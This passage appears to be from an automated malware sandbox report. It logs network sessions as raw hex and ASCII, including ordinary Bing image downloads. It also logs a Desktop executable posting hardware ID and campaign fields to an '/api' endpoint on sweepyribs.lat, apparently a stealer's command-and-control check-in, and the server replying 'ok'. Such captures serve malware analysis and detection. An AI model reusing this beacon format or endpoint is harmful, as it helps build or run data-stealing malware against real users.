2024-12-17 09:08:31 UTC	16067	IN	Data Raw: 5f 88 fc 27 ff 00 0b 1a f7 5a 9b 48 b5 b7 3a a5 94 36 f2 ea 5f 64 9b ce 83 e4 46 78 ee 36 3b 7c 9f 27 cb ff 00 01 5a de a5 48 42 84 23 28 ea d3 6a d1 4f af 5b af 56 79 3f da 31 a5 8c 9d 27 37 ac 92 f9 72 ea 70 5f b4 7e 9b a3 2f 8d b4 d4 d5 f5 2b bf 3e e3 4e f3 3e d3 15 a2 5b cd f2 b9 44 f3 36 2e 19 7f bb 5c 0f 9b 68 fa 8d b4 f6 b7 93 47 1d bc 7e 5c 7f ba fe 3f b9 f7 73 f7 6b d2 7e 26 fc 46 f0 d5 bf c4 6b 27 d6 bc 2d a7 ea ba 5d cc 4f 69 24 b7 36 89 32 47 12 5c bf fa 4d bc 9b 5b 7f fa c7 dd fa 57 9b 6a d6 da 2d c7 88 6f 91 fe c9 1d ad bd cb c7 65 f6 1d 43 7a 79 4d f3 2a 6f 5f bd bb fd da f5 70 8a 55 30 f0 94 94 95 e3 d5 7e 47 c3 71 14 69 54 ad 3c 55 29 5e ee de 6a d6 e8 67 6a 53 da 5c 6a d1 e9 cf fb bf f9 6f 2f fd 34 45 ff 00 67 3b 7e b5 16 b1 6d 1f f6 4c Data Ascii: _'ZH:6_dFx6;\|'ZHB#(jO[Vy?1'7rp_~/+>N>[D6.\hG~\?sk~&Fk'-]Oi$62G\M[Wj-oeCzyM*o_pU0~GqiT<U)^jgjS\jo/4Eg;~mL
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: a8 23 b3 f0 d7 df b5 b3 d7 23 8f fe 7a 4b 2d 9b fc ff 00 97 cb 51 ed 13 6f 47 f7 17 ec da ea be f3 91 92 29 25 ff 00 51 e7 7e ef fd 67 ef 69 b1 d9 c9 2f fa ff 00 3b f7 7f f4 d7 65 77 36 50 78 25 25 8f ce d0 7c 41 27 dc f3 3c bd 42 18 7c cf fc 86 d5 2c 7e 21 f0 2c 53 47 02 7c 31 bb 93 cc fd dc 71 dc f8 81 df cc ff 00 7b f7 75 9c eb 35 ff 00 2e e4 fe ef d5 a2 e3 46 0b 79 a5 f7 bf c9 33 8b b5 d3 fe cf 0f fc f3 8e 4f fa 6b 47 d8 67 fb 90 43 5d 37 8a af 34 9b dd 46 48 34 ff 00 01 c3 65 f7 fc b8 ed b5 59 93 e7 ff 00 79 6b 0f 4d b1 9e e2 1f 21 34 d9 63 fb 3f fa cf de bf ee ff 00 ef ba d6 12 6d 5d c6 c6 35 12 ba 51 77 d6 c5 09 ed a7 48 7e 78 66 8e 4f fa 65 53 cf 67 25 dc 3e 7a 4d fb 8f f5 72 7f d3 3a d4 d5 34 ad 5b 4f b4 b6 9b 54 d0 6e f4 e8 24 ff 00 96 9f 6b 7f Data Ascii: ##zK-QoG)%Q~gi/;ew6Px%%\|A'<B\|,~!,SG\|1q{u5.Fy3OkGgC]74FH4eYykM!4c?m]5QwH~xfOeSg%>zMr:4[OTn$k
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: bb 5d ac ff 00 0d 3c 61 ab 5a 5b 41 af 6a 50 de 41 1e f9 23 b6 b9 bb 99 fc bf ee ff 00 0d 72 56 cb f0 ee a2 e7 aa 95 9a 7a b3 d5 a3 8f ab 08 2e 5a 4f 45 d1 1c a5 bc 57 7e 1f 96 db 51 f3 a6 92 0b 2b 6f b0 7d 9b cd fb 32 5c 5c 49 36 fd be 67 fc fb af de 7f e2 ed 58 9a 5d ce b5 e3 0f 8c 77 c9 7b 79 37 d8 64 92 da d3 51 d4 ad ad 11 3f d1 e3 d9 1b 79 7b be e6 ed b9 d9 f7 b6 d7 73 e2 7f 04 ea 5e 0c d2 74 dd 6f 57 87 4f b8 d2 b4 ab db 6f 2e ca 29 7f d6 45 bf 7f 91 f7 33 b5 be 7f e7 5c 46 ab f1 83 fb 13 50 d4 b4 8b 2f 87 ba 7e 9d 24 97 bf 68 fb 34 b1 6c 4b 4f e2 55 48 a3 fb ef fe d1 f9 ab d3 a5 04 e2 ea d2 92 a9 2d 57 f5 fe 47 9f 8b c5 b9 35 47 91 c6 3b eb d7 c8 f7 ab ad 43 e1 96 89 35 cd 96 83 67 0e a3 27 fc bc ff 00 a2 3f ef 37 7f 07 cf 21 ff 00 be 36 57 9e 6a Data Ascii: ]<aZ[AjPA#rVz.ZOEW~Q+o}2\\I6gX]w{y7dQ?y{s^toWOo.)E3\FP/~$h4lKOUH-WG5G;C5g'?7!6Wj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49737	104.21.2.110	443	7284	C:\Users\user\Desktop\V65xPrgEHH.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:08:32 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KIF2PPV5GN7T9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19933 Host: sweepyribs.lat
2024-12-17 09:08:32 UTC	15331	OUT	Data Raw: 2d 2d 4b 49 46 32 50 50 56 35 47 4e 37 54 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 45 36 30 36 43 33 30 30 42 44 43 38 31 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4b 49 46 32 50 50 56 35 47 4e 37 54 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4b 49 46 32 50 50 56 35 47 4e 37 54 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4b 49 46 32 50 50 56 35 47 4e 37 Data Ascii: --KIF2PPV5GN7T9Content-Disposition: form-data; name="hwid"9BE606C300BDC810AC8923850305D13E--KIF2PPV5GN7T9Content-Disposition: form-data; name="pid"3--KIF2PPV5GN7T9Content-Disposition: form-data; name="lid"PsFKDg--pablo--KIF2PPV5GN7
2024-12-17 09:08:32 UTC	4602	OUT	Data Raw: 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: +?2+?2+?o?Mp5p_oI
2024-12-17 09:08:33 UTC	1038	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:08:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6hk03tkl74fp4ao9enijtuq0bb; expires=Sat, 12-Apr-2025 02:55:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q9FjBZfbyoHtbdH9MsCBVHoC4R3NQJD8IPZ1Z4uifeSkTf8peYK1hI1tx11V%2BIyiuaNGUGFLjZIcqd1Tub3GNh7%2FRO0ugVOzQNA4K4RtgiYTtTiWJqq3VTneoqSsyVvL9A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35c4e99b2741b5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1675&min_rtt=1652&rtt_var=666&sent=13&recv=23&lost=0&retrans=0&sent_bytes=2833&recv_bytes=20888&delivery_rate=1586094&cwnd=207&unsent_bytes=0&cid=1ee0bb25b6173ebd&ts=916&x=0"
2024-12-17 09:08:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 09:08:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49743	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:08:33 UTC	346	OUT	GET /th?id=OADD2.10239356671167_19HPP7IIREEX4KA57&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-17 09:08:34 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 414304 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: CC27552C34AF4E65B24DDFF56F8B7874 Ref B: EWR30EDGE0111 Ref C: 2024-12-17T09:08:33Z Date: Tue, 17 Dec 2024 09:08:33 GMT Connection: close
2024-12-17 09:08:34 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 31 34 3a 33 38 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 18:14:388C
2024-12-17 09:08:34 UTC	16384	IN	Data Raw: 48 f4 d9 28 dd 4d 93 e7 a4 32 1d fb e6 ab 49 50 40 bb 2a 5d d4 01 25 49 50 c6 d4 6e a0 09 a9 d5 0d 49 40 0e a6 d1 51 d0 03 64 6a 82 4a 96 4a 8e 46 a0 4c ae f4 cd 95 2c 94 da a1 0c d9 52 c6 bb 29 a9 53 c6 b4 00 47 4f 4a 6d 26 ed 94 14 3d ea bc 95 63 ef d5 79 16 92 13 2a dd 2e f9 aa 29 e7 d9 f2 25 3e f9 ab 3e 46 ad 54 48 91 36 ed f5 3c 72 c6 9f bc aa 5b a9 d4 12 2c 9f 3c d4 f8 d6 a3 a5 df 40 04 94 6c a3 7d 1b e8 02 29 3e 4a 67 9b 49 70 d5 52 79 76 55 a5 72 1b b0 4d 25 45 03 6f f9 2a 39 1a a1 dd 5a a4 64 d9 a5 02 d5 eb 18 f6 56 75 8b 55 f8 25 ed 59 cb 46 69 1d 8d 24 a3 6c 75 0c 72 d4 db ab 26 ec 6e 9d c6 c8 b5 1b d4 db a9 b4 b9 81 ab 98 fa 8f 98 9f 72 1a cf 91 ab a2 9d 2b 1b 58 5f dc fc 9f eb 2b 68 cb a1 84 d7 52 af 9b 4c f3 ea ac 9e 65 15 bf 21 8b 95 8d 28 Data Ascii: H(M2IP@]%IPnI@QdjJJFL,R)SGOJm&=cy.)%>>FTH6<r[,<@l})>JgIpRyvUrM%Eo*9ZdVuU%YFi$lur&nr+X_+hRLe!(
2024-12-17 09:08:34 UTC	16384	IN	Data Raw: 3d ac d0 c9 5c 72 a5 38 bd 51 db 1a d0 92 d1 9a d5 25 52 8e 59 d3 ef d3 24 b9 91 fe e5 45 99 a7 32 2e 55 4d 57 57 d3 34 c9 a3 82 f6 6f 2e 49 3f e5 9d 52 d4 b5 58 f4 cb 49 2f 5f fe 59 ff 00 ab ff 00 a6 8f 5e 77 7d 79 3d ed dc 97 53 cd e6 4f 27 fa ca de 96 1d cd dd ec 73 d7 c5 7b 35 65 b9 ea b0 5f 5a 5c 45 be 0b c8 64 ff 00 b6 d5 07 88 35 08 f4 cd 26 4b a7 9b cb 93 cb fd df fd 34 7a f2 da 7c 92 c8 fe 5f 9f 34 d2 79 7f f3 d6 b7 58 44 9e e6 0f 18 ed b0 c9 19 db e7 7f f5 95 d2 f8 57 c5 93 da 79 76 ba 8f ef 20 ff 00 9e 9f c7 1d 73 54 6d ae 89 53 8c d5 99 c5 0a d3 83 ba 67 ae 6e df f3 a7 fa ba 64 93 ec ae 3b c0 3a cc 90 ff 00 c4 ae ea 6f dd ff 00 cb b7 fd 33 ff 00 66 ba 69 25 8f f8 eb ce 9d 27 07 66 7a d4 eb 29 c5 49 13 79 f2 54 d1 cb 1d 52 f3 20 ff 00 9e d4 79 Data Ascii: =\r8Q%RY$E2.UMWW4o.I?RXI/_Y^w}y=SO's{5e_Z\Ed5&K4z\|_4yXDWyv sTmSgnd;:o3fi%'fz)IyTR y
2024-12-17 09:08:34 UTC	16384	IN	Data Raw: c7 a3 69 db e3 b6 8e 2f f9 78 f9 ff 00 8e bc da 79 6d 3c ef 3f c9 fb 45 75 d3 85 e2 ae 70 d4 af ef b3 a8 87 57 f3 7f e3 ea f3 cc 8f cb fd df f1 fc f4 c8 da 09 61 92 eb f8 e3 d9 1c 95 c4 dd 5f 23 da 7f d3 3f f9 e7 15 16 b7 d3 a4 3f bb f3 ad fc ca bf 60 61 f5 c7 7b 33 a5 9f ec 8f 69 2f 9f 0f 99 fb cf 2e 8d 1f ec 0f 0e cf b6 79 72 7f d3 2a e6 af a7 77 9a 3d f3 43 e6 57 41 a3 c1 03 ea 3b 20 9a 18 d2 4d 9f bc fb 94 fd 92 22 38 8b ca e9 16 35 89 fc af 9e 08 66 f2 ff 00 e5 a7 f1 f9 7f ed 54 56 37 d2 5e f9 89 a7 5e 4d 1f ee ff 00 77 27 fc f4 ab fa c7 fc 4b 3c 3b 7d 3c 73 43 fe b1 2d 2d a4 8b fe 5a 7f 7e b8 d8 35 09 2d e1 ff 00 53 fb b9 29 c6 0a c5 d4 ac d3 3b 6d 0f c5 5a d6 93 0c 89 25 e7 99 1c 7f f2 ce e6 2f 9e b4 b4 df 88 53 fd ae 37 d5 2c e1 92 d6 e2 3f f5 b6 Data Ascii: i/xym<?EupWa_#??`a{3i/.yr*w=CWA; M"85fTV7^^Mw'K<;}<sC--Z~5-S);mZ%/S7,?
2024-12-17 09:08:34 UTC	16384	IN	Data Raw: eb ff 00 77 27 fc b4 a6 22 e2 2c 92 fd cf f5 75 62 0b c9 25 fd c4 ff 00 eb 23 ff 00 9e 55 95 ac 79 6f 67 b2 09 bc ba 8e 36 d9 67 fe a7 f7 75 0d 5c d2 32 d0 e8 27 b9 82 5f 2f ed 55 05 f6 8b 05 c4 db f4 ef f5 9f f2 d2 3a a5 6b 6d 77 7b 0e c4 fd dc 7f f3 d2 5f b9 5a 96 ab f6 49 bc 87 fd e4 91 c7 fe b2 2a 97 3b 3b 21 ca 29 ad 51 cd 6a 56 7a b5 97 fc 7e c3 35 bc 72 7f cb 59 2a 1b 16 9e 59 b6 27 ef 2b ae bc 58 ef 62 fb 15 ef ef 23 ac dd 73 4c b4 d3 34 ff 00 3f 4e 9b fe 5a 79 72 47 5b c2 ad d2 b9 cb 2a 36 6d a3 2e e9 64 b7 a8 bc dd 9f ea 21 fd e5 1f bc 7f 9f f7 d2 53 23 5d b3 56 c6 43 63 be fe fc 34 e8 e7 93 ef ff 00 ab a9 a7 82 37 f9 ea bc eb bf fe 58 fe ee 80 2f c1 e5 bd 4b 3b 47 17 97 b2 b0 d1 a4 8a 6f f9 e9 5a f1 fe f6 1f 9e 1f 2e a4 a5 22 58 ff 00 7b e6 6c Data Ascii: w'",ub%#Uyog6gu\2'_/U:kmw{_ZI;;!)QjVz~5rYY'+Xb#sL4?NZyrG[*6m.d!S#]VCc47X/K;GoZ."X{l
2024-12-17 09:08:34 UTC	16384	IN	Data Raw: 3e 64 1f f7 ea b9 e9 e0 b8 b7 fd fd ad 69 0d 4e 7a bb 1b 3a 94 1b 3f 76 9f bc ff 00 9e 72 56 5c 96 7f be ff 00 53 e5 d5 ab 5b c9 e5 d3 b7 ff 00 ab 9e df fe 59 d6 96 d8 f5 38 7f d7 79 73 f9 75 a4 5f 2a 39 67 15 23 03 77 fd 36 a8 23 b9 fd f7 fb 74 eb eb 59 ed 26 8f 7f fa b9 25 a8 24 5d 90 c9 5d 51 b5 8e 7e 57 16 58 8e f3 67 9b 49 04 b2 5c 7c f5 46 4f 93 cc 7a 75 ad d4 69 0e c7 a7 ca 89 e5 66 94 73 fe fb 65 57 92 49 12 69 1f fe 59 d5 79 27 fe 0a 8e 39 76 4d 4b 94 a5 13 52 0b cf fa 63 50 c9 2e ca a3 27 f7 e8 9e 5d ff 00 7f fe fe 51 ca 85 c8 6b 49 27 ee 6a 84 93 ec 97 e4 a8 27 9f 7c 3b 27 a2 37 ff 00 56 f0 79 d4 72 82 8d 8d 1b 5b ad f5 63 cd 8e 5f 29 df fe 59 ff 00 cb 3a ca 8e 5d b3 6f a2 39 f7 6a 1b 28 e5 17 29 a5 24 b1 a4 de 47 93 fe b2 9b e5 47 fc 7f eb 2a Data Ascii: >diNz:?vrV\S[Y8ysu_9g#w6#tY&%$]]Q~WXgI\\|FOzuifseWIiYy'9vMKRcP.']QkI'j'\|;'7Vyr[c_)Y:]o9j()$GG
2024-12-17 09:08:34 UTC	16384	IN	Data Raw: 5c df 5c 7f c7 b5 b5 cf c9 0c 9b 7f bf fe cd 78 ce 8f 63 05 ef 87 ae 75 e9 ec ed 2c f4 db 79 12 3f 32 5d ef f3 c9 f7 7e 55 ae d3 e0 9e 95 69 7b e3 28 f5 1d 06 6d 3e 49 34 a8 fc cb 9f f5 df 71 be 5f e2 a5 f5 87 dc 89 57 c4 b5 fc 47 f7 9c a6 b1 7d e4 ea d7 d1 fd 8e 2f dd de cd 1f fe 3f 59 77 5a ac 76 ff 00 3b c3 69 e5 c9 56 3c 55 a8 e8 31 5d df 41 e4 ea 1f 6e fe d2 b9 f3 24 f3 7f 73 b3 7f f0 d6 5f 88 ed b4 59 7c 1b 1c 1f 6c ff 00 4e 92 4f 32 39 3f e7 9a 7f 77 6d 79 dc d7 7a 9e cc b1 51 f6 7e eb d4 a1 75 af 27 9d bf c9 86 af f8 47 c5 10 69 53 49 3f d8 e1 b8 f3 3f e7 af fc b3 ae 3e 3d 32 7f e3 9b f7 75 a1 05 8e d9 a3 d9 f7 23 97 fd 5d 5d e3 cb 6b 9e 3a ab 51 4d 49 3d 4d 6b af 15 5f cb a8 7d aa ea 6f fa e7 fd ca e8 3c 0f e2 c9 1f 56 8f 4e 7f f5 77 12 f9 7e 65 Data Ascii: \\xcu,y?2]~Ui{(m>I4q_WG}/?YwZv;iV<U1]An$s_Y\|lNO29?wmyzQ~u'GiSI??>=2u#]]k:QMI=Mk_}o<VNw~e
2024-12-17 09:08:34 UTC	16067	IN	Data Raw: 6f 27 fa cf 36 2f fd 9a a5 bb f1 76 85 65 34 90 7d 8e 29 3c cf dd f9 be 75 5a ba be d0 b5 3d 0e 4b 5b 2f 2a de fa 3f f5 72 49 2e ff 00 32 ae 52 a8 df 34 a1 64 ca e8 57 f0 c7 fc 25 1a 0e a1 f6 ab 1d 4a 1f 32 e3 f7 92 47 24 5b ff 00 f4 2a da f1 76 b5 e3 ed 77 43 b9 d2 e7 d6 2d 2c ac 6f 7f 77 e5 5b 5a 26 f9 3f d9 a6 78 3a 7f 12 db c3 e4 6a 36 70 de c1 1f fc f2 f9 de 3a b5 e2 ad 6b 45 d3 35 68 fe d5 67 34 70 5c 48 9f eb 62 d9 f3 d6 71 c6 4d 4b 92 2d 7c 8e ba 14 97 b3 be b6 f3 3c db 47 f8 69 e2 1d 37 5c 93 57 9e 68 6f 63 b7 8f fe 5a 4b b2 ba 9f 0c fc f0 ec 9e 1f 33 fe 5a 47 fd ca eb fc 40 ba 6b f8 36 e5 2d 6f 2d 2d fc cd 92 79 9f 7f cb af 3c 9f 5c b4 ff 00 90 7f 9d 0f ef 3f d6 57 0e 3a b6 23 18 bc d7 5e c8 c3 1d 45 52 92 b7 53 a7 b8 96 78 a6 b6 4f 27 cc 82 4d Data Ascii: o'6/ve4})<uZ=K[/?rI.2R4dW%J2G$[vwC-,ow[Z&?x:j6p:kE5hg4p\HbqMK-\|<Gi7\WhocZK3ZG@k6-o--y<\?W:#^ERSxO'M
2024-12-17 09:08:34 UTC	16384	IN	Data Raw: c5 5a 3a 49 02 c8 b0 2b ec bf bd 9e 33 1f c3 0f 16 79 db df fb 3f fe fe d5 df f8 56 5e 2c 96 1f f5 da 7f fd fd af 59 fb 36 b5 e7 6f 4b c8 63 8f fe 79 fd 92 97 ca d5 bf e7 f2 1f fb f5 59 fb 08 b1 ff 00 61 e0 bf 95 fd e7 92 c7 f0 af c5 1f f3 db 49 ff 00 bf b5 3c 1f 0b bc 4a 9f f2 db 4f ff 00 bf b5 ea f1 db 5f bc 3f f1 f9 0f fd fa ab 11 db 5d ff 00 1c d0 ff 00 df aa 3d 8c 7b b2 96 4b 83 ec fe f3 ca ad fe 14 f8 85 fe fc da 7d 5d 87 e1 46 b5 14 de 7f db 2d 24 af 50 82 ce ff 00 ef fd b3 f7 7f f3 cf ca a7 5f 5b 5d fd 93 e4 9b cc ff 00 a6 7f 72 b3 96 1a 2d 75 2d 65 18 35 f6 5f de cf 2f 83 c2 77 70 ea 1e 4c f3 7d a2 4f f9 e7 6d 2f fa ba de b5 f0 3e a7 fb b7 49 be cf ff 00 5d 3e 7a eb 7c 22 d6 32 ea df d9 10 7e ee eb ca f3 3c b8 bf bb 5a f2 45 04 5f 7e 68 bf e7 9d Data Ascii: Z:I+3y?V^,Y6oKcyYaI<JO_?]={K}]F-$P_[]r-u-e5_/wpL}Om/>I]>z\|"2~<ZE_~h
2024-12-17 09:08:34 UTC	16384	IN	Data Raw: 6f 00 ea 13 6f 9f c3 70 c7 ff 00 5c a5 7a 74 ff 00 09 3c 09 2c db ee b4 7f b4 79 9f bb fd ec af fc 35 f4 51 cc b2 94 95 9c 8c 5a 9d f5 35 7f e1 66 fc 36 7f f5 1e 36 d2 6e 3c bf de 49 e5 4a ee f1 a7 fd f3 52 c1 f1 13 c0 3f 7e 0f 1b 69 f1 ff 00 9f a5 60 ff 00 c2 9d f0 0c 5e 63 c1 a0 fd 9f ed 1f f3 ca 5a ae ff 00 03 fe 1e f9 52 3b e8 f3 47 e6 47 e5 ff 00 ad ab 96 69 94 35 68 b9 df d2 e6 7e ce 6b a1 d2 c7 e3 8f 09 f9 31 cf ff 00 09 26 9f 24 7f eb 2d aa 9d af c4 db 09 7e d3 7a 9f 64 92 08 ff 00 d6 fe f7 63 d7 90 7c 50 f0 77 81 fc 3b ad e9 ba 45 ae 85 ab 6a 3e 64 69 1d b5 cf f6 86 cb 68 3e 7f e2 ac 1f 1a 69 9a cf 84 a1 8e f5 3c 37 ab 5e e8 f7 1f f2 f3 f6 bd 89 27 f7 a3 f9 6b d0 a7 86 a3 88 71 f6 53 7e f6 d7 d0 e6 ab 59 c1 d8 f7 8f 11 eb 96 9e 20 d0 ee 74 54 9a Data Ascii: oop\zt<,y5QZ5f66n<IJR?~i`^cZR;GGi5h~k1&$-~zdc\|Pw;Ej>dih>i<7^'kqS~Y tT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49744	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:08:34 UTC	375	OUT	GET /th?id=OADD2.10239356671168_16FGHU1WN2XYJHSC0&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-17 09:08:35 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 606526 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: E6C5DB9F67684A858AFAA69D5C51BB40 Ref B: EWR30EDGE0410 Ref C: 2024-12-17T09:08:34Z Date: Tue, 17 Dec 2024 09:08:34 GMT Connection: close
2024-12-17 09:08:35 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1b 7a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 31 34 3a 30 34 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``zExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 18:14:048
2024-12-17 09:08:35 UTC	16384	IN	Data Raw: 23 9d e1 f2 e4 a6 49 2c 89 36 c7 ff 00 96 75 c3 5a 6a a3 3a e9 45 c1 1a f6 b7 92 3c 3b 12 1f dd d3 fc dd d0 fc f0 d5 2b 59 76 7d ca d7 8e 58 3c 9d ef 5c f2 49 3b 1d 30 bc 91 cf 4d 3c 92 fc 94 46 db 3e 49 e8 d4 bc b4 bb fd c7 dc a8 ae 9b 7c 31 ff 00 d3 3a db a1 04 b2 45 1f df 4a 64 7f 25 47 6b 2c 95 a3 69 14 7e 4f cf 52 dd 85 1d 59 14 0d 1f 9d fb ca e8 2c 65 81 e1 d9 05 64 cf 14 74 69 52 f9 57 75 9c b5 46 d1 d1 9d 27 34 73 55 ed e7 df 56 39 ae 73 51 d5 5e 74 a9 77 d4 5e 6e ff 00 91 29 a1 33 2e ea 5d 95 57 76 f8 ab 4a ea d7 7f c9 59 b2 41 3a 7c 95 b2 32 71 2a c1 e5 f9 d5 7e 0f 9e 99 f6 68 d2 